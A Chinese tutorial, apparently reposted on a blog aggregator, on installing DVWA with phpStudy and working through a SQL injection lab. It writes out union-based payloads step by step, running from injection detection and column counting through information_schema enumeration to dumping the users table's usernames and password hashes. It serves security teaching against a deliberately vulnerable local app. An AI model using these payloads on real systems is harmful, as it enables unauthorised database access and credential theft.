DVWA平台搭建+SQL注入实验详解

这篇具有很好参考价值的文章主要介绍了DVWA平台搭建+SQL注入实验详解。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

实现1: 实现DVWA平台的搭建,为后续的SQL注入提供练习环境;

实现2:
进行SQL注入的练习,目的是了解因web应用程序对用户输入数据的合法性没有判断或过滤不严,而造成的危害,以便后续更好地掌握对其的防御手段,提高网络安全意识;

一、搭建DVWA平台

1、下载phpstudy安装包

(注意:如果已经安装了数据库,需要注意端口冲突问题)

phpStudy 是一个PHP调试环境的程序集成包。

该程序包集成最新的Apache+PHP+MySQL+phpMyAdmin+ZendOptimizer,一次性安装,无须配置即可使用,是非常方便、好用的PHP调试环境。该程序不仅包括PHP调试环境,还包括了开发工具、开发手册等。

下载phpstudy安装包并一键安装,记住安装路径,我是安装到C盘的根目录下

dvwa,sql,数据库,php

2、下载DVWA安装包

DVWA 全称为Damn Vulnerable Web
Application,意为存在糟糕漏洞的web应用。它是一个基于PHP/MySQL开发的存在糟糕漏洞的web应用,旨在为专业的安全人员提供一个合法的环境,来测试他们的工具和技能。

DVWA的安全特性分为两个部分:一是漏洞的安全级别;二是PHP-IDS入侵检测。

漏洞的安全等级分为低级、中级和高级。 每个级别都会改变
DVWA中所有漏洞的利用难度,初始加载时默认所有漏洞安全等级为高级,以下是每个安全级别及其用途的说明。

  • 高级 - 此级别旨在为用户提供良好编码实践的示例。这个级别应该保护所有漏洞的安全,它用于将易受攻击的源代码与安全源代码进行比较。
  • 中级 -
    此级别主要是为用户提供糟糕的编程实践示例。开发者对程序的安全性进行了一定的保护但是仍有可被利用的漏洞,这为改进用户漏洞利用技巧提供了挑战。
  • 低级 - 此级别是完全易受攻击的,并且没有做任何安全防护。它的作用是展示不良编程实践是如何导致 Web
    应用程序漏洞的,并用作教授或学习漏洞基本利用技术的平台。

在DVWA官网下载DWVA压缩包DVWA-master.zip

3、安装DVWA安装包

1)解压安装包

解压压缩包DVWA-master.zip,把解压后的文件DVWA-master文件,放在phpstudy的安装目录下面–
C:\phpstudy_pro\WWW文件夹下

dvwa,sql,数据库,php

2)修改配置文件

找到DVWA-
master文件夹下的config文件夹里面的数据库配置文件“config.inc.php.dist”,改名为“config.inc.php”,再以记事本的方式打开,
修改数据库的用户名和密码、端口号 ,并保存:

$_DVWA[ ‘db_user’ ] = ‘root’;

$_DVWA[ ‘db_password’ ] = ‘root’;

$_DVWA[ ‘db_port’ ] = ‘3306’

dvwa,sql,数据库,php

dvwa,sql,数据库,phpdvwa,sql,数据库,php

4、启动phpstudy

dvwa,sql,数据库,php

5、初次登录DVWA平台

初次登录 http://127.0.0.1/DVWA-master/index.php

1)创建数据库

点击下方的“Create/Reset Database”按钮

dvwa,sql,数据库,php

如果没问题的话,会反馈“成功创建”的结果提示

dvwa,sql,数据库,php

2)登录DVWA平台

会自动跳转到DVWA登录界面(或者手动点击login),会跳转到 <http://127.0.0.1/DVWA-
master/login.php>界面(再次打开登录页面也是输入该网址),输入DVWA账号和密码后即可进入DVWA。

登录名:admin

密码:password

dvwa,sql,数据库,php

二、SQL注入( SQL Injection)

SQL注入
即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

SQL 是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而 SQL注入
是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。

**1、调整网站安全级别 **

进入DVWA平台后,先在“DVWA Security”中,调整平台安全等级为 “low”-低级
,并确认,此级别是完全易受攻击的,并且没有做任何安全防护。它的作用是展示不良编程实践是如何导致 Web
应用程序漏洞的,并用作教授或学习漏洞基本利用技术的平台。

dvwa,sql,数据库,php

dvwa,sql,数据库,php

2、 查看页面的传递方式, 是 set 方法还是 get 方法?

知识点: 注入点类型(页面的传递方式)包括:①get型:使用URL框注入 ②post型:使用输入框注入
③cookie型等等,有多种注入点的类型,所以我们需要进行判断查看一下,它是属于哪种传递方式

输入1,尝试判断该页面的传递方式

 **1**

结果: 查看有返回结果,URL中id=1,说明PHP页面通过了get方法(请求时,
参数附带在url后面,目的为了达到能查询信息的方式,就是get方式)进行参数的传递。我们是可以通过控制参数id的值来返回我们需要的信息。[submit()
方法把表单数据提交到 Web 服务器]

dvwa,sql,数据库,php

分析:

看看后台中到底执行了什么样的SQL语句呢?点击view-source可以进行源代码的查看

dvwa,sql,数据库,php

注意:实际执行的SQL语句是文本框中输入的内容会放在id=’’的引号里面,但这只是我们通过看源代码才知道的,实际情况分析的时候,我们是不知道有没有这个引号的哈,我们需要判断,也就是上面的判断

3、判断是否存在注入,注入类型是什么?

真实环境网页中,并不是每个网址链接都存在注入,需要去判断一下,同时我们还可以判断一下,此注入点的注入类型是什么的,是字符型还是数字形的?这是在真实环境中的判断过程。

在我们的实验环境肯定是存在注入点的,我们也来测试一下

1)先判断是否存在注入

输入 1’

1‘

结果: 查询失败,提示:

“You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near ‘‘1’’’ at line
1”—您的 SQL 语法有错误; 检查与您的 MySQL 服务器版本相对应的手册,以获取在第 1 行的“1”附近使用的正确语法

dvwa,sql,数据库,php

思考一下:
为什么会报错啊?我们可以站在上帝视角看啊,因为我们查看了它的后台源代码,我们知道这个文本框里面输入的内容,会被放在id=’’里面,你在这里面放一个1’,结果是什么,是id=’1’’,这个语法肯定是不对的吧,多一个单引号,所以必然会报错。

现在,回到平民视角啊,我们尝试 分别输入1和1’ 两种情况:

1

1‘

结果: 得到了两种结果,输入1,是可以正常回显结果的;输入1’,有错误提示;

正常情况下,输入1’,是不应该有任何反馈,这样才说明该网站此处是不存在漏洞的,是安全的;但这里的结果是有反馈了,有错误信息提示,也叫反馈,那就是说明了,我们是可以通过控制参数Id的值,来与数据库进行交互。所以,通过这两项操作以及返回结果,我们就可以判断,
此处是存在注入的

(注意:
一般正常情况下,或者说安全的环境里面,网站是不允许用户通过一些可输入的文本框,和后台数据库进行交互的,因为,一旦可以交互,就容易被黑客利用,套取到数据库的秘密信息)

2) 后判断注入点是什么类型的?是字符型还是数字形的?

然后我们再来判断此处的注入点是什么类型的,因为这涉及到,我们之后要如何去构造注入语句。

通常SQL注入漏洞分为2种类型:数字型、字符型;字符型和数字型最大的一个区别在于 ,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。

所以,我们就需要去判断,这个注入点的id它是字符型的还是数字型的啊, 关系到我们之后去构造sql注入语句,到底要不要加单引号

一共就有 两种情况 ,那就简单点,来假设吧:

  • 1 )先假设如果是数字型的,我们去构造 sql 语句

已知sql查询语句是:select 列名 from 表名 where id=?

我们自己去构造:(文本框里面输入id后面的内容 1 and 1=1 )

**select ****列名 from **表名 where id=1 and 1=1

【我们先不执行,我们先自己分析,觉得这个结果应该是什么?然后再实际去执行以下,看结果又是什么?
如果我们自己判断的和执行的结果一致,就说明没问题,它是数字型的,如果不一致,那就说明不是数字型

dvwa,sql,数据库,php

输入1 and 1=1,结果正常回显

1 and 1=1

dvwa,sql,数据库,php

输入1 and 1=2,结果正常回显

1 and 1=2

dvwa,sql,数据库,php

对比结果:自己判断与执行结果不一致,说明不是数字型的

dvwa,sql,数据库,php

  • 2 再假设如果是字符型的,我们去构造 sql 语句

同样,已知sql查询语句是:select 列名 from 表名 where id=’?’

我们自己去构造:想一下,还能只在文本框里面输入1 and 1=1么?如果还只输入这个,结果是什么?

注意,引号里面的还能看成是select语句么?引号里面的and还能是逻辑运算符么?假如我们的表格里面id有一项就叫1 and 1=1,我要查询id为1
and 1=1这一项的内容,是可以说的通。

所以,如果这样去构造的话id=’1 and 1=1’,单引号里面的就是个字符串,没有了逻辑判断的意思了。

**select ****列名 from **表名 where id=’1 and 1=1’

所以,我们不能只在文本框里面输入1 and 1=1,我们想要用逻辑运算符and去判断,就得把and从单引号里面摘出来,怎么摘?就给它闭合单引号(
在文本框里面输入1’ and ‘1’=’1 ),这样and就不是没有意义的字符串,而是逻辑运算符

**select ****列名 from **表名 where id=’1’ and ‘1’=’1’

【我们先不执行,我们先自己分析,觉得这个结果应该是什么?然后再实际去执行以下,看结果又是什么?
如果我们自己判断的和执行的结果一致,就说明没问题,它是字符型的,如果不一致,那就说明不是字符型

dvwa,sql,数据库,php

输入1’ and ‘1’=’1,结果正常回显

1’ and ‘1’=’1

dvwa,sql,数据库,php

输入1’ and ‘1’=’2,返回结果为空,说明没有正常回显

1’ and ‘1’=’2

dvwa,sql,数据库,php

输入1’ or ‘1’=’1,结果正常回显

1’ or ‘1’=’1

dvwa,sql,数据库,php

对比结果:自己判断与执行结果一致,说明:是字符型的

dvwa,sql,数据库,php

基本解析:“ ?id=1’ and 1=1” 到底是什么?

1)? //这个符号只是一个固定的传参格式,必须存在

2)id=1 //一个语句,用来向服务器交互的时候,调用id=1的内容

3)and //一个逻辑判断符号,逻辑与(与或非)众所周知,只有两个表达式【a and
b】同时正确成立的时候,才会运行该命令,才会与SQL服务器进行信息的交互-传递-查询(这里的a\b分别对应的是id=1 和 1=1 )

4)1=1 //这是一个真语句,恒真

5)1=2 //这是一个假语句,恒假

6)?id=1’ and 1=1 //这是一个真语句,会执行命令与服务器进行交互

7)?id=1’ and 1=2 //这是一个假语句,不会执行命令与服务器进行交互

4、猜解 SQL 查询语句中的字段数

知识点1: 按照MySQL语法,“ #
”后面的内容是会被注释掉的,所以我们可以使用这种方法来屏蔽掉后面的单引号,避免语法上的错误

知识点2:ORDER BY 语句用于根据指定的列对结果集进行排序,它默认按照升序对记录进行排序。sql语句中order by 1或者order
by 2…order by N:其中1表示第一个列,2表示第二列,依此类推,当表中只有2列时,oder by 3就会出错】

1)输入1’ order by 1 #

查询一个表中user_id为1的数据并按第一列字段排列

1’ order by 1 #

结果: 能正常回显,说明有第一列字段

dvwa,sql,数据库,php

2)输入1’ order by 2 #

查询一个表中user_id为2的数据并按第二列字段排列

1’ order by 2 #

结果: 能正常回显,说明有第二列字段

dvwa,sql,数据库,php

3)输入1’ order by 3 #

查询一个表中user_id为3的数据并按第三列字段排列

1’ order by 3 #

结果:
返回一个错误提示“找不到第3列”,说明没有第三列字段。由此,我们就可知,表中只有两个字段,数据为两列(说明执行的SQL查询语句中只有两个字段)

dvwa,sql,数据库,php

4 )确认一下我们分析的对不对

【Union运算符 :可以将两个或两个以上的select语句的查询结果集合,合并成一个结果集合显示,这就叫做执行联合查询】

在联合查询的时候,需要 注意union 的查询需要和主查询的列数相同,而我们之前已经知道了主查询列出为 2

输入1’ union select 1,2 #

1’ union select 1,2 #

结果: 查询成功,说明主查询列出为2列, 可以推断出执行的 SQL 语句为:

select First name,Surname from where id= ’? ’;

dvwa,sql,数据库,php

5、获取当前数据库名和基本信息

要和已知的SQL语句为: select First name,Surname from where id= ’?

,构造一个联合查询语句,继续挖掘有用的信息,那联合查询,自然要设置相同个数的列,至于列的名称自然是我们自己定,要选择有用的列,爆出它们的信息。已知:

database() :返回当前网站所使用的数据库名字;

user() :返回执行当前查询的用户名;

version() 获取当前数据库版本;

@@version_compile_os 获取当前操作系统;

1)输入 1’ union select database(),user() #

1’ union select database(),user() #

结果: 查询成功,可知当前的 数据库名为“ dvwa” 和当前查询的 用户名为“root@localhost”

dvwa,sql,数据库,php

2) 输入 1’ union select version(),@@version_compile_os #

1’ union select version(),@@version_compile_os #

结果: 查询成功,可知当前的 数据库版本“5.7.26” 和当前的 操作系统“win64”

dvwa,sql,数据库,php

6、获取数据库中的表名

接下来,我们在获得了网站的一些基本信息之后(数据库名称、版本、操作系统),
我们就可以尝试去获取一下dvwa这个数据库中的存在的表有哪些?对应的表名是什么?

知识点: mysql数据库中是自带一个信息数据库,叫“ information_schema
”数据库,这个数据库主要是用来保存了MySQL服务器所有的数据库的信息,比如:数据库名、数据库的表、表栏的数据类型、以及访问权限等等好多信息。

在这个数据库中,有一些常用的表,我们会经常用到的有“ tables ”表(存储数据库中所有表的信息)、“ schemata
”表(保存MySQL中所有数据库的信息)、“ columns ”表(存储表中的列信息,包括表有多少列,每个列的类型都是什么)

dvwa,sql,数据库,php

其中一个表叫“ tables ”表,这个表里面包含了两个字段“ table_name ”和“
table_schema ”,分别记录了 DBMS 中的存储的表名和表名所在的数据库。

所以,我们接下来,要 构造 sql 语句 了: 1’ union select

最基本的 sql 查询语句是: select 列名 from 表名, 我们来填充内容:

1 )填充表名

我想要获得哪些信息 :“在 dvwa 这个数据库中有哪些表?”, 那么想要获取这些信息的话 ,可以去自带的“
information_schema ”这个数据库中的“ tables ”表中去查询表名的信息

所以,我们得明确,告诉计算机:

select * from information_schema.tables

2 )填充列名

我们到这个数据库中的,这个表里,去查询哪些信息啊?你去里面查询,你肯定得知道这个“tables”表里都有哪些有用的字段列名吧?该表里面有两个字段“
table_name”和“table_schema”,分别记录了存储的表名和表名所在的数据库

但注意union的查询需要和主查询的列数相同,而我们之前已经知道了主查询列出为2列,我们这里正好也得查询两列:

select table_name,table_schema from information_schema.tables

3 )填充条件

要知道,在这个“tables”表中,是所有的 数据库名 以及对应的 表名 吧,但我们需要列出所有的表名么?不需要, 我们之前已经通过
databases() 得到了 当前网站 所使用的数据库名字是“ dawa

我们只用查询显示出 dawa 数据库对应的表名,都有哪些就好了。 因此,我们需要用 where 语句
来实现,它可以包含任何条件,我们要查看dvwa这个数据库,进行一个数据库的定位:

select table_name,table_schema from information_schema.tables where
table_schema=’dvwa’

4 SQL 语句构造完成

1’ union select table_name,table_schema from information_schema.tables
where table_schema=’dvwa’ #

5 )若失败

若在联合查询时出现错误,查不到数据“Illegal mix of collations for operation
‘UNION‘”,则说明union查询有问题,是因为目前在DVWA平台尝试它时,不认utf8-编码类型,只认big5。

dvwa,sql,数据库,php

因此,可以用convert() 进行转换编码,将utf8转换为big5类型的:

1 union select convert(table_name using big5),
convert(table_schema using big5) from information_schema.tables where
table_schema=
dvwa #

结果: 查询成功,说明数据库dvwa中一共有两个表: guestbook表users表

dvwa,sql,数据库,php

7、获取表中的字段名

我们在得到数据库dvwa中一共有两个表:guestbook与users之后,我需要继续查询,每个表中又有哪些字段

自带数据库中还有一个表,叫“ columns ”表,这个表里面主要包含了三个字段“ table_schema ”“
table_name ”和“ column_name ”,分别记录了 DBMS
中的存储的表名所对应的数据库、表名、此表所包含的列的名称(字段)。

所以,我们接下来,要构造sql语句了: 1’ union select

1 )填充表名

我想要获得哪些信息: “在 dvwa 这个数据库中的这两张表中分别又对应有哪些字段?”,
那么想要获取这些信息的话,可以去“information_schema”这个数据库中的 columns ”表 中去进行查询

所以,我们得明确,告诉计算机: select * from information_schema.columns

2 )填充列名

我们到这个数据库中的,这个表里,去查询哪些信息啊?你去里面查询,你肯定得知道这个“ columns
”表里都有哪些有用的字段列名吧?该表里面有两个字段“ table_name ”和“ column_name ”,分别记录了存储的
表名和表里面对应的列名

但注意union的查询需要和主查询的列数相同,而我们之前已经知道了主查询列出为2列,我们这里正好也得查询两列:

select table_name,column_name from information_schema.columns

3 )填充条件

要知道,在这个“ columns ”表中,是所有的 表名 以及对应的 列名 吧,但我们需要列出所有的列名么?不需要吧,
我们之前已经通过上一步,得到了 当前网站 所在的数据库 dvwa 中,一共有两个表: guestbook
users ,我们只用查询显示出这俩表对应的列名,都有哪些就好了

因此,我们就需要用 where 语句 来实现,它可以包含任何条件,我们要查看dvwa这个数据库中的, guestbook
users ,进行一个数据库和表的定位:

我们可以两个表可以都查一下,但推荐先查 user 表,因为一般表的命名规则都是通俗易懂的,user是用户的意思吧,在数据库里面,一般
users 就是用来存储用户名的一个表,所以,我们可以先针对 user s表,进行字段的查询(现在是有两个条件,那在 where
里面就可以用 and 来连接吧):

select table_name,column_name from information_schema. columns where
table_schema=’dvwa’ and table_name=’users’

4 SQL 语句构造完成

1’ union select table_name,column_name from information_schema. columns
where table_schema=’dvwa’ and table_name=’users’ #

5 )若失败

若在联合查询时出现错误,查不到数据“Illegal mix of collations for operation
‘UNION‘”,则说明union查询有问题,是因为目前在DVWA平台尝试它时,不认utf8-编码类型,只认big5。

dvwa,sql,数据库,php

因此,可以用convert() 进行转换编码,将utf8转换为big5类型的:

1 union select convert(table_name using big5),
convert(column_name using big5) from information_schema.columns where
table_schema=’dvwa’ and table_name=’users’#

结果: 查询成功,说明数据库dvwa中users表中有8个字段:

user_id first_name last_name user
password avatar last_login failed_login

dvwa,sql,数据库,php

6 )查询guestbook表

查询users表以后,同理,可以再自己构建sql语句,尝试查询guestbook表中有哪些字段

1 union select convert(table_name using big5),
convert(column_name using big5) from information_schema.columns where
table_schema=’dvwa’ and table_name=’guestbook’#

结果: 查询成功,说明数据库dvwa中guestbook表中有4个字段:

admin,comment_id,comment,name

dvwa,sql,数据库,php

8、爆破关键字段的内容(用户名、密码)

我们在得到数据库dvwa中一共有两个表:guestbook与users之后,我有查询了users表中有8个字段,找到敏感的字段,那哪个字段敏感呢?
【user_id,first_name,last_name,user,password,avatar,last_login,failed_login】
必然是 用户名user和密码password是最敏感的信息

1 )直接构造 sql 语句

可以尝试爆破users这个表中的user和password这两个字段的内容,用最简单的查询语句就可以了吧,select 列名 from
表名,因为现在是既知道表名,又知道列名字段:

select user,password from users

2 SQL 语句构造完成

1 union select user,password from users#

3 )使用 convert() 转换编码或不使用

1 union select convert(user using big5),convert(password using
big5) from users#

查询成功,就可以查到关键信息:

用户名:admin

密码:5f4dcc3b5aa765d61d8327deb882cf99

dvwa,sql,数据库,php

4)解析密码

密码是一串数字,属于MD5加密,它是一种被广泛使用的密码散列函数,可以百度在线MD5解密,可以解密密码5f4dcc3b5aa765d61d8327deb882cf99为
password

dvwa,sql,数据库,php

网络安全工程师企业级学习路线

这时候你当然需要一份系统性的学习路线

如图片过大被平台压缩导致看不清的话,可以在文末下载(无偿的),大家也可以一起学习交流一下。

dvwa,sql,数据库,php

一些我收集的网络安全自学入门书籍

dvwa,sql,数据库,php

一些我白嫖到的不错的视频教程:

dvwa,sql,数据库,php

上述资料【扫下方二维码】就可以领取了,无偿分享
dvwa,sql,数据库,php文章来源地址https://www.toymoban.com/news/detail-755113.html

到了这里,关于DVWA平台搭建+SQL注入实验详解的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • DVWA靶场中SQL注入

    1.1.1.Low级别   1)判断注入类型当输入1和1 and 1=2的时候均能够正常返回数值,证明不是数字型输入。那么这里基本上就能够判断是字符型注入。   2)判断字符型注入。输入1’ and 1=2 #的时候出现报错,证明存在字符型注入,并且单引号闭合。   3)判断有多少列当输入

    2024年02月03日
    浏览(50)
  • DVWA之sql注入——盲注

    1.1 布尔盲注 布尔很明显的Ture跟Fales,也就说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错 信息。 1.判断是否存在注入,注入的类型 不管输入框输入为何内容,页面上只会返回以下2种情形的提示: 满足查询条件则返回\\\"User ID exists in the database.\\\",不满足查询

    2024年02月05日
    浏览(54)
  • DVWA-SQL Injection SQL注入

    SQL注入,是指将特殊构造的恶意SQL语句插入Web表单的输入或页面请求的查询字符串中,从而欺骗后端Web服务器以执行该恶意SQL语句。 成功的 SQL 注入漏洞可以从数据库中读取敏感数据、修改数据库数据(插入/更新/删除)、对数据库执行管理操作 (例如关闭 DBMS),恢复 DBM

    2024年02月08日
    浏览(38)
  • DVWA 之 SQL注入(非盲注)

    步骤: 1.判断是否存在注入,注入是字符型还是数字型 2.猜解SQL查询语句中的字段数 3.确定显示的字段顺序 4.获取当前数据库 5.获取数据库中的表 6.获取表中的字段名 7.下载数据 输入1,查询成功: 输入1’and ‘1’ =’2,查询失败,返回结果为空: 输入1’or ‘1 ’=’1,查询

    2024年02月04日
    浏览(43)
  • 使用burpsuite抓包 + sql工具注入 dvwa初级靶场

    记录一下自己重新开始学习web安全之路②。 1.工具准备 sqlmap + burpsuite 2.浏览器准备 火狐浏览器 + 设置代理。 首先,先设置一下火狐浏览器的代理 http代理地址为127.0.0.0.1 ,端口为8080 3.burpsuite 准备 将burpsuite的抓包功能打开。 注:burpsuite 不抓127.0.0.1 /dvwa-master的包,所以需要

    2024年02月07日
    浏览(42)
  • 【SQL代理中转注入】对DVWA登录界面username字段实施注入

      以DVWA为攻击目标,将login.php中第21、22行注释掉 如此可知,首先需要通过token验证,然后能进行查询。 1.token验证通过。 这里token用到的函数是dvwaPage.inc.php中调用的 通过查看函数被调用的部分和逻辑,可知该检测是如此检测或者说避免CSRF攻击的: ①访问login.php,页面生成

    2024年04月25日
    浏览(33)
  • DVWA中SQL注入时union出错,union排序混乱(Illegal mix of collations for operation UNION)

    目录 union排序错误 解决方式 问题:当你sql注入查询数据库表时,跳转到某个页面显示Illegal mix of collations for operation UNION 原因:说明你的union字符规则不一致导致的 小皮里安装phpMyAdmin4.8.5(Mysql管理工具) 找到数据库里的dvwa里的数据表名users,在结构里找到first_name和last_nam

    2024年02月05日
    浏览(60)
  • 7、DVWA——SQL盲注

      盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。 普通注入与盲注的区别:   普通注入是可以根据报错提示,进行sql语句注入从而,直接爆出我们想要的信息,

    2024年02月08日
    浏览(31)
  • DVWA------SQL Injection (Blind)(SQL盲注)

    一、SQL 盲注 1.简介 2.分类 3.盲注测试思路 二、SQL Injection (Blind) 1.LOW 1.1代码审计 1.2漏洞利用 2.medium 3.high 4.Impossible         SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法

    2024年02月16日
    浏览(39)
  • DVWA——SQL盲注(全等级)

    SQL盲注与一般注入的区别在于:一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知。一般有两种方式:布尔型和时间型。还有一种是报错注入,本章主要介绍布尔盲注。

    2023年04月12日
    浏览(35)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包